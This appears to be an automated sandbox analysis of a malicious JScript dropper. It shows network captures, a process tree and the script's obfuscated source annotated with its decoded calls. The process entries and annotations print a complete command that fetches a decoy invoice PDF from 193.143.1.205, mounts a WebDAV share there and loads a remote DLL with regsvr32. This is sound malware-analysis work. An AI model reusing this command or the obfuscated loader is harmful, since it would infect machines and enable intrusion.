/StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 23:04:21.430180073 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 23:04:21.430205107 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 23:04:21.430218935 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 23:04:21.430236101 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 23:04:21.430243969 CET	672	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 10, 2025 23:04:21.430257082 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 23:04:21.430269957 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 23:04:21.430284023 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 23:04:21.430299997 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 10, 2025 23:04:21.435163021 CET	376	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	193.143.1.205	8888	7904	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:04:23.118412018 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 23:04:23.925400972 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:04:23 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	17:04:12
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25055222211104026628.js"
Imagebase:	0x7ff7a47c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:04:13
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll
Imagebase:	0x7ff600790000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:04:13
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:04:13
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:04:22
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	17:04:22
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff600790000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:04:22
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff752c90000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:04:22
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	17:04:23
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	17:04:23
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1620,i,11961020703151592691,4071511003086952442,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function sklplzusg() {	sklplzusg() ➔ undefined
1	nggqpgv = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var grmmfb = this[qdhbpklkx + dqurh + vpwzfd + eelhsy + aozsyblpa + tatqrh + rznhlkn + vodzrwo] ( this[gvuepflnk + nqoilrzi + wrlqmlgzo + vpwzfd + zckanvng + qdhbpklkx + vodzrwo][qyraftchq + vpwzfd + aozsyblpa + dqurh + vodzrwo + aozsyblpa + xcleiaes + owssdwm + tvvvxih + aozsyblpa + wrlqmlgzo + vodzrwo] ( gvuepflnk + nqoilrzi + wrlqmlgzo + vpwzfd + zckanvng + qdhbpklkx + vodzrwo + gskxvfzo + nqoilrzi + lfrmmo + aozsyblpa + ylomnl + ylomnl ) [nnskvcd + aozsyblpa + urikgwl + nnskvcd + aozsyblpa + dqurh + esuavwz] ( djkufx + ybbzrhhha + lkdmlkbxt + fhjyupus + nobusm + qyraftchq + kpdkaqpb + nnskvcd + nnskvcd + lkdmlkbxt + qormk + ekiwliau + nobusm + kpdkaqpb + nqoilrzi + lkdmlkbxt + nnskvcd + bucynv + qyraftchq + coxrfxv + rznhlkn + vodzrwo + vpwzfd + coxrfxv + ylomnl + woohsbcj + ezhyp + dqurh + rznhlkn + aozsyblpa + ylomnl + bucynv + tatqrh + rznhlkn + vodzrwo + aozsyblpa + vpwzfd + rznhlkn + dqurh + vodzrwo + zckanvng + coxrfxv + rznhlkn + dqurh + ylomnl + bucynv + efqvvyr + coxrfxv + wrlqmlgzo + dqurh + ylomnl + aozsyblpa ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( xwcqyu = 0 ; xwcqyu < nggqpgv[ylomnl + aozsyblpa + rznhlkn + urikgwl + vodzrwo + lfrmmo] ; ++ xwcqyu )
4	{
5	if ( grmmfb == nggqpgv[xwcqyu] )
6	{
7	grmmfb = true;
8	break ;
9	}
10	}
11	if ( grmmfb !== true )
12	this[gvuepflnk + nqoilrzi + wrlqmlgzo + vpwzfd + zckanvng + qdhbpklkx + vodzrwo][cacyl + cuixagb + zckanvng + vodzrwo] ( );
13	this[gvuepflnk + nqoilrzi + wrlqmlgzo + vpwzfd + zckanvng + qdhbpklkx + vodzrwo][qyraftchq + vpwzfd + aozsyblpa + dqurh + vodzrwo + aozsyblpa + xcleiaes + owssdwm + tvvvxih + aozsyblpa + wrlqmlgzo + vodzrwo] ( gvuepflnk + nqoilrzi + wrlqmlgzo + vpwzfd + zckanvng + qdhbpklkx + vodzrwo + gskxvfzo + nqoilrzi + lfrmmo + aozsyblpa + ylomnl + ylomnl ) [vpwzfd + cuixagb + rznhlkn] ( wrlqmlgzo + uohudwjl + esuavwz + woohsbcj + lhgva + wrlqmlgzo + woohsbcj + qdhbpklkx + coxrfxv + pshkk + aozsyblpa + vpwzfd + eelhsy + lfrmmo + aozsyblpa + ylomnl + ylomnl + gskxvfzo + aozsyblpa + lbpzcollv + aozsyblpa + woohsbcj + iqccttcw + qyraftchq + coxrfxv + uohudwjl + uohudwjl + dqurh + rznhlkn + esuavwz + woohsbcj + huaskw + tatqrh + rznhlkn + qcxyllx + coxrfxv + qvelaisih + aozsyblpa + iqccttcw + gvuepflnk + aozsyblpa + owssdwm + nnskvcd + aozsyblpa + vmjxn + cuixagb + aozsyblpa + eelhsy + vodzrwo + woohsbcj + iqccttcw + xcleiaes + cuixagb + vodzrwo + ydsggyea + zckanvng + ylomnl + aozsyblpa + woohsbcj + finzp + vodzrwo + aozsyblpa + uohudwjl + qdhbpklkx + finzp + bucynv + zckanvng + rznhlkn + qcxyllx + coxrfxv + zckanvng + wrlqmlgzo + aozsyblpa + gskxvfzo + qdhbpklkx + esuavwz + qqpdecnsy + woohsbcj + lfrmmo + vodzrwo + vodzrwo + qdhbpklkx + rzggvsr + lhgva + lhgva + mkgko + zmsirdn + rotvvhkht + gskxvfzo + mkgko + phkvfducb + rotvvhkht + gskxvfzo + mkgko + gskxvfzo + cxqqxknfe + xdqvjr + qbqvcyulm + lhgva + zckanvng + rznhlkn + qcxyllx + coxrfxv + zckanvng + wrlqmlgzo + aozsyblpa + gskxvfzo + qdhbpklkx + lfrmmo + qdhbpklkx + huaskw + eotmivjml + eotmivjml + eelhsy + vodzrwo + dqurh + vpwzfd + vodzrwo + woohsbcj + finzp + vodzrwo + aozsyblpa + uohudwjl + qdhbpklkx + finzp + bucynv + zckanvng + rznhlkn + qcxyllx + coxrfxv + zckanvng + wrlqmlgzo + aozsyblpa + gskxvfzo + qdhbpklkx + esuavwz + qqpdecnsy + eotmivjml + eotmivjml + wrlqmlgzo + uohudwjl + esuavwz + woohsbcj + lhgva + wrlqmlgzo + woohsbcj + rznhlkn + aozsyblpa + vodzrwo + woohsbcj + cuixagb + eelhsy + aozsyblpa + woohsbcj + bucynv + bucynv + mkgko + zmsirdn + rotvvhkht + gskxvfzo + mkgko + phkvfducb + rotvvhkht + gskxvfzo + mkgko + gskxvfzo + cxqqxknfe + xdqvjr + qbqvcyulm + ispyv + eohabwr + eohabwr + eohabwr + eohabwr + bucynv + esuavwz + dqurh + qcxyllx + pshkk + pshkk + pshkk + vpwzfd + coxrfxv + coxrfxv + vodzrwo + bucynv + eotmivjml + eotmivjml + wrlqmlgzo + uohudwjl + esuavwz + woohsbcj + lhgva + wrlqmlgzo + woohsbcj + vpwzfd + aozsyblpa + urikgwl + eelhsy + qcxyllx + vpwzfd + rotvvhkht + cxqqxknfe + woohsbcj + lhgva + eelhsy + woohsbcj + bucynv + bucynv + mkgko + zmsirdn + rotvvhkht + gskxvfzo + mkgko + phkvfducb + rotvvhkht + gskxvfzo + mkgko + gskxvfzo + cxqqxknfe + xdqvjr + qbqvcyulm + ispyv + eohabwr + eohabwr + eohabwr + eohabwr + bucynv + esuavwz + dqurh + qcxyllx + pshkk + pshkk + pshkk + vpwzfd + coxrfxv + coxrfxv + vodzrwo + bucynv + mkgko + qbqvcyulm + mkgko + mkgko + rotvvhkht + mkgko + klprkw + mkgko + xdqvjr + cxqqxknfe + mkgko + phkvfducb + mkgko + phkvfducb + eohabwr + gskxvfzo + esuavwz + ylomnl + ylomnl, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151131710214148.dll",0,false) ➔ 0
14	}
15	dqurh = "o";
16	dqurh = "G";
17	dqurh = "K";
18	dqurh = "T";
19	dqurh = "p";
20	dqurh = "a";
21	wrlqmlgzo = "e";
22	wrlqmlgzo = "K";
23	wrlqmlgzo = "D";
24	wrlqmlgzo = "u";
25	wrlqmlgzo = "Y";
26	wrlqmlgzo = "l";
27	wrlqmlgzo = "N";
28	wrlqmlgzo = "D";
29	wrlqmlgzo = "V";
30	wrlqmlgzo = "K";
31	wrlqmlgzo = "F";
32	wrlqmlgzo = "w";
33	wrlqmlgzo = "O";
34	wrlqmlgzo = "P";
35	wrlqmlgzo = "x";
36	wrlqmlgzo = "Q";
37	wrlqmlgzo = "s";
38	wrlqmlgzo = "w";
39	wrlqmlgzo = "i";
40	wrlqmlgzo = "Z";
41	wrlqmlgzo = "Z";
42	wrlqmlgzo = "K";
43	wrlqmlgzo = "w";
44	wrlqmlgzo = "I";
45	wrlqmlgzo = "O";
46	wrlqmlgzo = "D";
47	wrlqmlgzo = "I";
48	wrlqmlgzo = "v";
49	wrlqmlgzo = "c";
50	wrlqmlgzo = "d";
51	wrlqmlgzo = "C";
52	wrlqmlgzo = "B";
53	wrlqmlgzo = "Q";
54	wrlqmlgzo = "O";
55	wrlqmlgzo = "u";
56	wrlqmlgzo = "C";
57	wrlqmlgzo = "X";
58	wrlqmlgzo = "q";
59	wrlqmlgzo = "y";
60	wrlqmlgzo = "w";
61	wrlqmlgzo = "g";
62	wrlqmlgzo = "a";
63	wrlqmlgzo = "c";
64	tatqrh = "G";
65	tatqrh = "V";
66	tatqrh = "S";
67	tatqrh = "s";
68	tatqrh = "W";
69	tatqrh = "j";
70	tatqrh = "z";
71	tatqrh = "f";
72	tatqrh = "U";
73	tatqrh = "h";
74	tatqrh = "Z";
75	tatqrh = "L";
76	tatqrh = "k";
77	tatqrh = "m";
78	tatqrh = "N";
79	tatqrh = "x";
80	tatqrh = "F";
81	tatqrh = "R";
82	tatqrh = "j";
83	tatqrh = "Y";
84	tatqrh = "n";
85	tatqrh = "H";
86	tatqrh = "f";
87	tatqrh = "x";
88	tatqrh = "T";
89	tatqrh = "C";
90	tatqrh = "z";
91	tatqrh = "f";
92	tatqrh = "N";
93	tatqrh = "f";
94	tatqrh = "W";
95	tatqrh = "U";
96	tatqrh = "H";
97	tatqrh = "a";
98	tatqrh = "B";
99	tatqrh = "A";
100	tatqrh = "B";
101	tatqrh = "j";
102	tatqrh = "M";
103	tatqrh = "G";
104	tatqrh = "k";
105	tatqrh = "V";
106	tatqrh = "X";
107	tatqrh = "G";
108	tatqrh = "I";
109	qormk = "D";
110	qormk = "v";
111	qormk = "h";
112	qormk = "N";
113	qormk = "u";
114	qormk = "R";
115	qormk = "u";
116	qormk = "Y";
117	qormk = "Z";
118	qormk = "c";
119	qormk = "B";
120	qormk = "Q";
121	qormk = "t";
122	qormk = "V";
123	qormk = "s";
124	qormk = "m";
125	qormk = "n";
126	qormk = "e";
127	qormk = "S";
128	qormk = "K";
129	qormk = "P";
130	qormk = "R";
131	qormk = "R";
132	qormk = "N";
133	qormk = "k";
134	qormk = "r";
135	qormk = "N";
136	qormk = "f";
137	qormk = "N";
138	qormk = "W";
139	qormk = "S";
140	qormk = "N";
141	qvelaisih = "R";
142	qvelaisih = "r";
143	qvelaisih = "d";
144	qvelaisih = "H";
145	qvelaisih = "B";
146	qvelaisih = "s";
147	qvelaisih = "v";
148	qvelaisih = "y";
149	qvelaisih = "V";
150	qvelaisih = "Z";
151	qvelaisih = "Q";
152	qvelaisih = "y";
153	qvelaisih = "g";
154	qvelaisih = "O";
155	qvelaisih = "d";
156	qvelaisih = "B";
157	qvelaisih = "h";
158	qvelaisih = "d";
159	qvelaisih = "G";
160	qvelaisih = "o";
161	qvelaisih = "J";
162	qvelaisih = "Z";
163	qvelaisih = "R";
164	qvelaisih = "P";
165	qvelaisih = "j";
166	qvelaisih = "V";
167	qvelaisih = "J";
168	qvelaisih = "m";
169	qvelaisih = "A";
170	qvelaisih = "j";
171	qvelaisih = "k";
172	qbqvcyulm = "R";
173	qbqvcyulm = "f";
174	qbqvcyulm = "C";
175	qbqvcyulm = "U";
176	qbqvcyulm = "M";
177	qbqvcyulm = "s";
178	qbqvcyulm = "l";
179	qbqvcyulm = "Q";
180	qbqvcyulm = "V";
181	qbqvcyulm = "z";
182	qbqvcyulm = "i";
183	qbqvcyulm = "F";
184	qbqvcyulm = "w";
185	qbqvcyulm = "e";
186	qbqvcyulm = "A";
187	qbqvcyulm = "f";
188	qbqvcyulm = "w";
189	qbqvcyulm = "P";
190	qbqvcyulm = "Z";
191	qbqvcyulm = "5";
192	ybbzrhhha = "z";
193	ybbzrhhha = "l";
194	ybbzrhhha = "O";
195	ybbzrhhha = "j";
196	ybbzrhhha = "J";
197	ybbzrhhha = "A";
198	ybbzrhhha = "N";
199	ybbzrhhha = "w";
200	ybbzrhhha = "Y";
201	ybbzrhhha = "v";
202	ybbzrhhha = "X";
203	ybbzrhhha = "f";
204	ybbzrhhha = "C";
205	ybbzrhhha = "a";
206	ybbzrhhha = "v";
207	ybbzrhhha = "M";
208	ybbzrhhha = "N";
209	ybbzrhhha = "Z";
210	ybbzrhhha = "B";
211	ybbzrhhha = "Q";
212	ybbzrhhha = "c";
213	ybbzrhhha = "P";
214	ybbzrhhha = "b";
215	ybbzrhhha = "c";
216	ybbzrhhha = "h";
217	ybbzrhhha = "k";
218	ybbzrhhha = "q";
219	ybbzrhhha = "r";
220	ybbzrhhha = "R";
221	ybbzrhhha = "E";
222	ybbzrhhha = "z";
223	ybbzrhhha = "B";
224	ybbzrhhha = "K";
225	qqpdecnsy = "N";
226	qqpdecnsy = "H";
227	qqpdecnsy = "Q";
228	qqpdecnsy = "k";
229	qqpdecnsy = "D";
230	qqpdecnsy = "D";
231	qqpdecnsy = "r";
232	qqpdecnsy = "f";
233	esuavwz = "N";
234	esuavwz = "l";
235	esuavwz = "K";
236	esuavwz = "x";
237	esuavwz = "u";
238	esuavwz = "x";
239	esuavwz = "U";
240	esuavwz = "d";
241	esuavwz = "f";
242	esuavwz = "O";
243	esuavwz = "B";
244	esuavwz = "d";
245	esuavwz = "z";
246	esuavwz = "h";
247	esuavwz = "Y";
248	esuavwz = "d";
249	esuavwz = "A";
250	esuavwz = "d";
251	esuavwz = "j";
252	esuavwz = "d";
253	cxqqxknfe = "s";
254	cxqqxknfe = "W";
255	cxqqxknfe = "Y";
256	cxqqxknfe = "h";
257	cxqqxknfe = "T";
258	cxqqxknfe = "m";
259	cxqqxknfe = "p";
260	cxqqxknfe = "e";
261	cxqqxknfe = "e";
262	cxqqxknfe = "o";
263	cxqqxknfe = "H";
264	cxqqxknfe = "A";
265	cxqqxknfe = "a";
266	cxqqxknfe = "U";
267	cxqqxknfe = "l";
268	cxqqxknfe = "X";
269	cxqqxknfe = "I";
270	cxqqxknfe = "O";
271	cxqqxknfe = "d";
272	cxqqxknfe = "c";
273	cxqqxknfe = "s";
274	cxqqxknfe = "H";
275	cxqqxknfe = "E";
276	cxqqxknfe = "E";
277	cxqqxknfe = "J";
278	cxqqxknfe = "J";
279	cxqqxknfe = "s";
280	cxqqxknfe = "M";
281	cxqqxknfe = "I";
282	cxqqxknfe = "A";
283	cxqqxknfe = "w";
284	cxqqxknfe = "b";
285	cxqqxknfe = "e";
286	cxqqxknfe = "2";
287	mkgko = "z";
288	mkgko = "S";
289	mkgko = "w";
290	mkgko = "C";
291	mkgko = "V";
292	mkgko = "O";
293	mkgko = "R";
294	mkgko = "s";
295	mkgko = "o";
296	mkgko = "o";
297	mkgko = "D";
298	mkgko = "l";
299	mkgko = "V";
300	mkgko = "O";
301	mkgko = "R";
302	mkgko = "1";
303	eohabwr = "t";
304	eohabwr = "t";
305	eohabwr = "G";
306	eohabwr = "v";
307	eohabwr = "l";
308	eohabwr = "I";
309	eohabwr = "X";
310	eohabwr = "b";
311	eohabwr = "s";
312	eohabwr = "k";
313	eohabwr = "i";
314	eohabwr = "i";
315	eohabwr = "S";
316	eohabwr = "S";
317	eohabwr = "q";
318	eohabwr = "d";
319	eohabwr = "Z";
320	eohabwr = "V";
321	eohabwr = "z";
322	eohabwr = "q";
323	eohabwr = "U";
324	eohabwr = "S";
325	eohabwr = "w";
326	eohabwr = "Y";
327	eohabwr = "q";
328	eohabwr = "8";
329	fhjyupus = "N";
330	fhjyupus = "O";
331	fhjyupus = "v";
332	fhjyupus = "F";
333	fhjyupus = "H";
334	fhjyupus = "N";
335	fhjyupus = "z";
336	fhjyupus = "F";
337	fhjyupus = "t";
338	fhjyupus = "U";
339	fhjyupus = "a";
340	fhjyupus = "b";
341	fhjyupus = "S";
342	fhjyupus = "t";
343	fhjyupus = "y";
344	fhjyupus = "W";
345	fhjyupus = "h";
346	fhjyupus = "l";
347	fhjyupus = "y";
348	fhjyupus = "R";
349	fhjyupus = "b";
350	fhjyupus = "L";
351	fhjyupus = "w";
352	fhjyupus = "H";
353	fhjyupus = "D";
354	fhjyupus = "Y";
355	ydsggyea = "w";
356	ydsggyea = "n";
357	ydsggyea = "F";
358	bucynv = "S";
359	bucynv = "p";
360	bucynv = "s";
361	bucynv = "z";
362	bucynv = "k";
363	bucynv = "z";
364	bucynv = "Q";
365	bucynv = "C";
366	bucynv = "r";
367	bucynv = "L";
368	bucynv = "c";
369	bucynv = "P";
370	bucynv = "g";
371	bucynv = "v";
372	bucynv = "P";
373	bucynv = "L";
374	bucynv = "U";
375	bucynv = "c";
376	bucynv = "J";
377	bucynv = "w";
378	bucynv = "e";
